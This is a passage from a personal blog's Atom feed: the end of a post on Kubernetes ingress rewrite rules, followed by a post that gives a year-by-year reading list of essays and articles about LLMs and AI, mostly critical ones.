&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;replacePrefixMatch&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;/comrak.ee//&lt;/span&gt;         &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# yuk&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;ReplacePrefixMatch&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;matches&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;PathPrefix&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;/&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s it, I’m done thinking about ingress for a long time again. If this happens again I’m going back to my &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/22b0ba382eabcbd1af7bf1e765f1a9d784841682/modules/nginx/default.nix?k=VwLWFpQ-ByFznz0jVH5w83YtRDYtUarkNUN2FZQsFKQ%3D#L25&quot;&gt;cursed NixOS integrated ingress&lt;/a&gt;.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>on llms (Ⅳ)</title>
    <updated>2026-02-23T11:57:31Z</updated>
    <id>https://kivikakk.ee/2026/02/23/on-llms-iv</id>
    <link href="https://kivikakk.ee/2026/02/23/on-llms-iv" />

    <content type="html">&lt;p&gt;I’ve been thinking about LLMs a lot lately. Haven’t we all.&lt;/p&gt;
&lt;p&gt;Here’s my reading from the last few years:&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;(&lt;a href=&quot;#whew&quot;&gt;skip&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;2016 (easter egg!)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.theguardian.com/technology/2016/jun/28/google-says-machine-learning-is-the-future-so-i-tried-it-myself&quot;&gt;Google says machine learning is the future. So I tried it myself&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2023&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://fishbowl.pastiche.org/2023/01/08/artificial_intelligence&quot;&gt;Bite-size thoughts about AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.lesswrong.com/posts/yvJevQHxfvcpaJ2P3/bing-chat-is-the-ai-fire-alarm&quot;&gt;Bing chat is the AI fire alarm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20230512023341/https://www.msnbc.com/msnbc/amp/ncna1304427&quot;&gt;Unpacking AI: “an exponential disruption” with Kate Crawford: podcast and transcript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jenniferplusplus.com/losing-the-imitation-game/&quot;&gt;Losing the imitation game&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://softwarecrisis.dev/letters/llmentalist/&quot;&gt;The LLMentalist Effect: how chat-based Large Language Models replicate the mechanisms of a psychic’s con&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ninelives.karawynnlong.com/language-is-a-poor-heuristic-for-intelligence/&quot;&gt;Language Is a Poor Heuristic for Intelligence&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2024&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.glyph.im/2024/05/grand-unified-ai-hype.html&quot;&gt;A Grand Unified Theory of the AI Hype Cycle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.helmut-schmidt.de/aktuelles/detail/die-rede-der-zukunftspreistraegerin&quot;&gt;Die Rede der Zukunftspreisträgerin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://firstmonday.org/ojs/index.php/fm/article/view/13636/11599&quot;&gt;The TESCREAL bundle: Eugenics and the promise of utopia through artificial general intelligence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doriantaylor.com/p-dumb&quot;&gt;P(Dumb)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spectrum.ieee.org/midjourney-copyright&quot;&gt;Generative AI Has a Visual Plagiarism Problem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://visualstudiomagazine.com/articles/2024/01/25/copilot-research.aspx?ref=wheresyoured.at&quot;&gt;New GitHub Copilot Research Finds ‘Downward Pressure on Code Quality’&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nullprogram.com/blog/2024/11/10/&quot;&gt;Everything I’ve learned so far about running local LLMs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://discourse.suttacentral.net/t/ai-3-there-is-no-road-from-here-to-there/33426&quot;&gt;AI-3: There is no road from here to there&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gizmodo.com/ai-has-enshittified-americas-advanced-stealth-fighter-2000527934&quot;&gt;AI Has Enshittified America’s Advanced Stealth Fighter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.late-review.com/p/ai-and-internet-hygiene&quot;&gt;AI and Internet Hygiene&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nicholas.carlini.com/writing/2024/how-i-use-ai.html&quot;&gt;How I Use “AI”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://esham.io/2024/03/gell-mann-amnesia&quot;&gt;You can’t spell “Gell-Mann amnesia” without LLM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://deadsimpletech.com/blog/altman_dunce&quot;&gt;Sam Altman is a dunce&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lokanta.github.io/2024/11/13/into-the-woods/&quot;&gt;into the woods—AI is not therapy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2025&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nicholas.carlini.com/writing/2025/thoughts-on-future-ai.html&quot;&gt;My Thoughts on the Future of “AI”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://drewdevault.com/2025/03/17/2025-03-17-Stop-externalizing-your-costs-on-me.html&quot;&gt;Please stop externalizing your costs directly into my face&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.xkeeper.net/uncategorized/tcrf-has-been-getting-ddosed/&quot;&gt;TCRF has been getting DDoSed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thelibre.news/foss-infrastructure-is-under-attack-by-ai-companies/&quot;&gt;FOSS infrastructure is under attack by AI companies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/izabera/3fb2f510f9e29811b57d3702002fc2a2&quot;&gt;new state of the art turing test: drawing a rubik’s cube&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://koomen.dev/essays/horseless-carriages/&quot;&gt;AI Horseless Carriages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://simonwillison.net/2025/Apr/26/o3-photo-locations/&quot;&gt;Watching o3 guess a photo’s location is surreal, dystopian and wildly entertaining&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://olano.dev/blog/augmentation-replacement/&quot;&gt;Augmentation / Replacement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.glyph.im/2025/06/i-think-im-done-thinking-about-genai-for-now.html&quot;&gt;I Think I’m Done Thinking About genAI For Now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://skepchick.org/2025/05/chatgpt-is-creating-cult-leaders/&quot;&gt;ChatGPT is Creating Cult Leaders&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://maxemitchell.com/writings/i-read-all-of-cloudflares-claude-generated-commits/&quot;&gt;I Read All Of Cloudflare’s Claude-Generated Commits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://octet-stream.net/b/scb/2025-04-21-ai-a-fork-in-the-road-for-open-source.html&quot;&gt;AI: a fork in the road for open source&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.schneier.com/blog/archives/2025/01/ai-mistakes-are-very-different-from-human-mistakes.html&quot;&gt;AI Mistakes Are Very Different from Human Mistakes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://octet-stream.net/b/scb/2025-04-30-they-paved-paradise-and-put-up-a-bunch-of-slop.html&quot;&gt;They paved paradise and put up a bunch of slop&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xxchan.me/blog/2025-06-10-ai-coding-en/&quot;&gt;My Unfiltered Take on the AI Coding Agent Landscape&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ludic.mataroa.blog/blog/contra-ptaceks-terrible-article-on-ai/&quot;&gt;Contra Ptacek’s Terrible Article On AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xeiaso.net/blog/2025/rolling-ladder-behind-us/&quot;&gt;Rolling the ladder up behind us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.jsbarretto.com/post/all-roads-lead-to-disaster&quot;&gt;All roads lead to disaster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/qemu/qemu/commit/3d40db0efc22520fa6c399cf73960dced423b048&quot;&gt;qemu/qemu: docs: define policy forbidding use of AI code generators&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ratfactor.com/cards/naur-vs-llms&quot;&gt;Go read Peter Naur’s “Programming as Theory Building” and then come back and tell me that LLMs can replace human programmers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://deadsimpletech.com/blog/vulgar_horny_threatening&quot;&gt;Vulgar, horny and threatening&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://addxorrol.blogspot.com/2025/07/a-non-anthropomorphized-view-of-llms.html&quot;&gt;A non-anthropomorphized view of LLMs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/&quot;&gt;Measuring the Impact of Early-2025 AI on Experienced Open-Source Developer Productivity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://evrim.zone/blog/opinion/vibes_casino&quot;&gt;Vibe Coding Casino&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://agentultra.com/blog/why-i-wont-use-ai/index.html&quot;&gt;Why I Won’t Use AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.foxtrotluna.social/theyre-putting-blue-food-coloring-in-everything/&quot;&gt;They’re putting blue food coloring in everything&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://samkriss.substack.com/p/born-in-the-wrong-generation?manualredirect=&quot;&gt;Born in the wrong generation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://andrewkelley.me/post/renting-is-for-suckers.html&quot;&gt;Renting is for Suckers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rys.io/en/180.html#&quot;&gt;The Hype is the Product&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rubenerd.com/genai-bills-coming-due/&quot;&gt;genAI bills coming due&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://distantprovince.by/posts/its-rude-to-show-ai-output-to-people/&quot;&gt;It’s rude to show AI output to people&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.404media.co/the-medias-pivot-to-ai-is-not-real-and-not-going-to-work/&quot;&gt;The Media’s Pivot to AI Is Not Real and Not Going to Work&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.experimental-history.com/p/bag-of-words-have-mercy-on-us&quot;&gt;Bag of words, have mercy on us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.colincornaby.me/2025/08/in-the-future-all-food-will-be-cooked-in-a-microwave-and-if-you-cant-deal-with-that-then-you-need-to-get-out-of-the-kitchen/&quot;&gt;In the Future All Food Will Be Cooked in a Microwave, and if You Can’t Deal With That Then You Need to Get Out of the Kitchen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://officechai.com/ai/the-era-of-human-coding-is-coming-to-an-end-at-our-group-softbanks-masayoshi-son/&quot;&gt;The Era Of Human Coding Is Coming To An End At Our Group: Softbank’s Masayoshi Son&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://malwaretech.com/2025/08/every-reason-why-i-hate-ai.html&quot;&gt;Every Reason Why I Hate AI and You Should Too&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.businessinsider.com/github-ceo-developers-embrace-ai-or-get-out-2025-8&quot;&gt;GitHub CEO delivers stark message to developers: Embrace AI or get out.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://deadsimpletech.com/blog/schwarzgerat&quot;&gt;Altman’s Schwarzgerät&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.glyph.im/2025/08/futzing-fraction.html&quot;&gt;The Futzing Fraction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eev.ee/blog/2025/07/03/the-rise-of-whatever/&quot;&gt;The rise of Whatever&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xeiaso.net/blog/2025/who-assistant-serve/&quot;&gt;Who does your assistant serve?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yosefk.com/blog/llms-arent-world-models.html&quot;&gt;LLMs aren’t world models&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mindmatters.ai/2025/01/some-lessons-from-deepseek-compared-with-other-chatbots/&quot;&gt;Some Lessons From DeepSeek, Compared With Other Chatbots&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20250819001439/https://www.nytimes.com/2025/08/18/opinion/chat-gpt-mental-health-suicide.html&quot;&gt;What My Daughter Told ChatGPT Before She Took Her Life&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.theregister.com/2025/08/21/ai_crawler_traffic/&quot;&gt;AI crawlers and fetchers are blowing up websites, with Meta and OpenAI the worst offenders&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.theregister.com/2025/08/15/codeberg_beset_by_ai_bots/&quot;&gt;Codeberg beset by AI bots that now bypass Anubis tarpit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tante.cc/2025/03/28/vulgar-display-of-power/&quot;&gt;Vulgar Display of Power&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pivot-to-ai.com/2025/03/17/openai-brings-you-statistically-average-literary-fiction/&quot;&gt;OpenAI brings you statistically average literary fiction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pivot-to-ai.com/2025/08/03/uk-ai-action-plan-for-justice-a-magic-infallible-ai-precrime-detector/&quot;&gt;UK ‘AI Action Plan for Justice’ — a magic infallible AI pre-crime detector!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ai-2027.com/&quot;&gt;AI 2027&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pivot-to-ai.com/2025/08/23/ai-winter-is-in-the-air-but-we-think-the-ai-bubble-keeps-going-until-2027/&quot;&gt;AI winter is in the air! But we think the AI bubble keeps going until 2027&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ratfactor.com/tech-nope&quot;&gt;I’m an American software developer and the “broligarchs” don’t speak for me&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joanwestenberg.com/your-best-friend-is-already-a-text-box-c8a3a70e2fac2252/&quot;&gt;Your Best Friend Is Already a Text Box&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://alexkondov.com/i-know-when-youre-vibe-coding/&quot;&gt;I Know When You’re Vibe Coding&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pivot-to-ai.com/2025/01/06/sam-altman-ai-agents-will-totally-replace-your-employees-any-year-now-also-chatgpt-pro-is-losing-money/&quot;&gt;Sam Altman: AI agents will totally replace your employees any year now! Also, ChatGPT Pro is losing money&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pivot-to-ai.com/2025/08/28/deloitte-australia-writes-government-report-with-ai-and-fake-references/&quot;&gt;Deloitte Australia writes government report with AI — and fake references&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.6nok.org/experimenting-with-local-llms-on-macos/&quot;&gt;Experimenting with local LLMs on macOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.marginalia.nu/log/a_125_ai_assistants/&quot;&gt;The CoPilot productivity paradox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.scottsmitelli.com/articles/altoids-by-the-fistful/&quot;&gt;Altoids by the Fistful&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2025/09/24/neon-the-no-2-social-app-on-the-apple-app-store-pays-users-to-record-their-phone-calls-and-sells-data-to-ai-firms/&quot;&gt;Neon, the No. 2 social app on the Apple App Store, pays users to record their phone calls and sells data to AI firms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://weakty.com/posts/efforts/&quot;&gt;Our efforts, in part, define us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vgel.me/posts/seahorse/&quot;&gt;Why do LLMs freak out over the seahorse emoji?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hojberg.xyz/the-programmer-identity-crisis/&quot;&gt;The Programmer Identity Crisis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://old.reddit.com/r/LocalLLaMA/comments/1if71w7/o3mini_is_now_the_sota_coding_model_it_is_truly/mafeg3p/&quot;&gt;o3-mini is now the SOTA coding model. It is truly something to behold. Procedural clouds in one-shot.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/research/small-samples-poison&quot;&gt;A small number of samples can poison LLMs of any size&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://theoatmeal.com/comics/ai_art&quot;&gt;A cartoonist’s review of AI art&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.odbms.org/blog/2025/10/beyond-the-ai-hype-guido-van-rossum-on-pythons-philosophy-simplicity-and-the-future-of-programming/&quot;&gt;Beyond the AI Hype: Guido van Rossum on Python’s Philosophy, Simplicity, and the Future of Programming.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pivot-to-ai.com/2025/10/15/ai-is-not-popular-and-ai-users-are-unpleasant-asshats/&quot;&gt;AI is not popular, and AI users are unpleasant asshats&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anildash.com//2025/10/17/the-majority-ai-view/&quot;&gt;The Majority AI View&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.abc.net.au/news/2025-10-24/generative-ai-newsroom-journalism-acm-media-journalists/105860896&quot;&gt;Staff in regional ACM newsrooms concerned about rollout of generative AI model&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://samsaffron.com/archive/2025/10/27/your-vibe-coded-slop-pr-is-not-welcome&quot;&gt;Your vibe coded slop PR is not welcome&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.baldurbjarnason.com/2025/the-inevitability-of-anger/&quot;&gt;The inevitability of anger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.baldurbjarnason.com/2025/the-fashion-that-is-tech/&quot;&gt;The fashion industry that is tech&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anildash.com//2025/10/22/atlas-anti-web-browser/&quot;&gt;ChatGPT’s Atlas: The Browser That’s Anti-Web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/pdf/2510.21860&quot;&gt;Butter-Bench: Evaluating LLM Controlled Robots for Practical Intelligence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fly.io/blog/everyone-write-an-agent/&quot;&gt;You Should Write An Agent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rollingstone.com/culture/culture-features/ai-chatbot-disappearance-jon-ganz-1235438552/&quot;&gt;He Grew Obsessed With an AI Chatbot. Then He Vanished in the Ozarks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://archive.is/rveNN#selection-1566.0-1566.1&quot;&gt;AI’s awfully exciting until companies want to use it: Rightmove edition&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nicholas.carlini.com/writing/2025/are-llms-worth-it.html&quot;&gt;Are large language models worth it?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://korcenji.neocities.org/Writings/KDE-Take-A-Moment&quot;&gt;With Love to KDE: Take a Moment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ploum.net/2025-11-26-snake-oil-writing.html&quot;&gt;Don’t Do Snake Oil Writing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fokus.cool/2025/11/25/i-dont-care-how-well-your-ai-works.html&quot;&gt;I don’t care how well your “AI” works&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nostalgebraist.tumblr.com/post/785766737747574784/the-void&quot;&gt;the void&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://notebook.wesleyac.com/resonant-computing/&quot;&gt;The “Resonant Computing Manifesto” is not very good&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pivot-to-ai.com/2025/12/23/firefox-browser-falls-to-ai-what-do-we-do-now/&quot;&gt;Firefox browser falls to AI. What do we do now?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sightlessscribbles.com/the-colonization-of-confidence/&quot;&gt;The Colonization of Confidence.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/richhickey/ea94e3741ff0a4e3af55b9fe6287887f&quot;&gt;Thanks AI!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jenson.org/boring/&quot;&gt;Boring is good&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jenson.org/timmy/&quot;&gt;The Timmy Trap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.miriamsuzanne.com/2025/02/12/tech-ai-wtf/&quot;&gt;Tech continues to be political (And the politics aren’t looking great)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dxuuu.xyz/peft.html&quot;&gt;Parameter-efficient fine-tuning in tinygrad&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mechanicalsurvival.com/blog/team-dynamics-after-ai/&quot;&gt;Team dynamics after AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rubenerd.com/doctors-using-ai-transcription/&quot;&gt;Doctors using AI transcription&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/&quot;&gt;MIT report: 95% of generative AI pilots at companies are failing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2026&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://addisoncrump.info/research/crashing-out/&quot;&gt;Crashing Out&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://deadsimpletech.com/blog/week_with_opencode&quot;&gt;My week with opencode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zanlib.dev/blog/reliable-signals-of-honest-intent/&quot;&gt;Reliable Signals of Honest Intent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://emptysqua.re/blog/ai-omg/&quot;&gt;A Zen Talk: AI OMG!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://felix.dognebula.com/art/html-parsers-in-portland.html&quot;&gt;HTML parsers in Portland&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://journal.stuffwithstuff.com/2026/01/24/the-value-of-things/&quot;&gt;The Value of Things&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mcsweeneys.net/articles/please-dont-say-mean-things-about-the-ai-that-i-just-invested-a-billion-dollars-in&quot;&gt;Please Don’t Say Mean Things about the AI That I Just Invested a Billion Dollars In&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.robbowley.net/2026/01/30/sixty-years-of-learning-the-same-lesson/&quot;&gt;Sixty years of learning the same lesson&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://crowprose.com/blog/competence-as-tragedy/&quot;&gt;Competence as Tragedy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://campedersen.com/singularity&quot;&gt;The Singularity will Occur on a Tuesday&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://slightknack.dev/daily/2026-02-10/&quot;&gt;Take another turn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.simonpcouch.com/blog/2026-01-20-cc-impact/&quot;&gt;Electricity use of AI coding agents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.deobald.ca/essays/2026-02-10-the-problem-with-llms/&quot;&gt;The Problem With LLMs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ratfactor.com/tech-nope2&quot;&gt;A programmer’s loss of a social identity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://karpathy.github.io/2026/02/12/microgpt/&quot;&gt;microgpt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tbray.org/ongoing/When/202x/2026/02/06/Q-Plus-C-Ch1&quot;&gt;Quamina + Claude, Case 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.baldurbjarnason.com/notes/2026/note-on-debating-llm-fans/&quot;&gt;‘AI’ is a dick move, redux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://shumer.dev/something-big-is-happening&quot;&gt;Something Big Is Happening&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://localghost.dev/blog/stop-generating-start-thinking/&quot;&gt;Stop generating, start thinking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://phinze.com/writing/level-of-detail&quot;&gt;Level of Detail&lt;/a&gt;&lt;/li&gt;
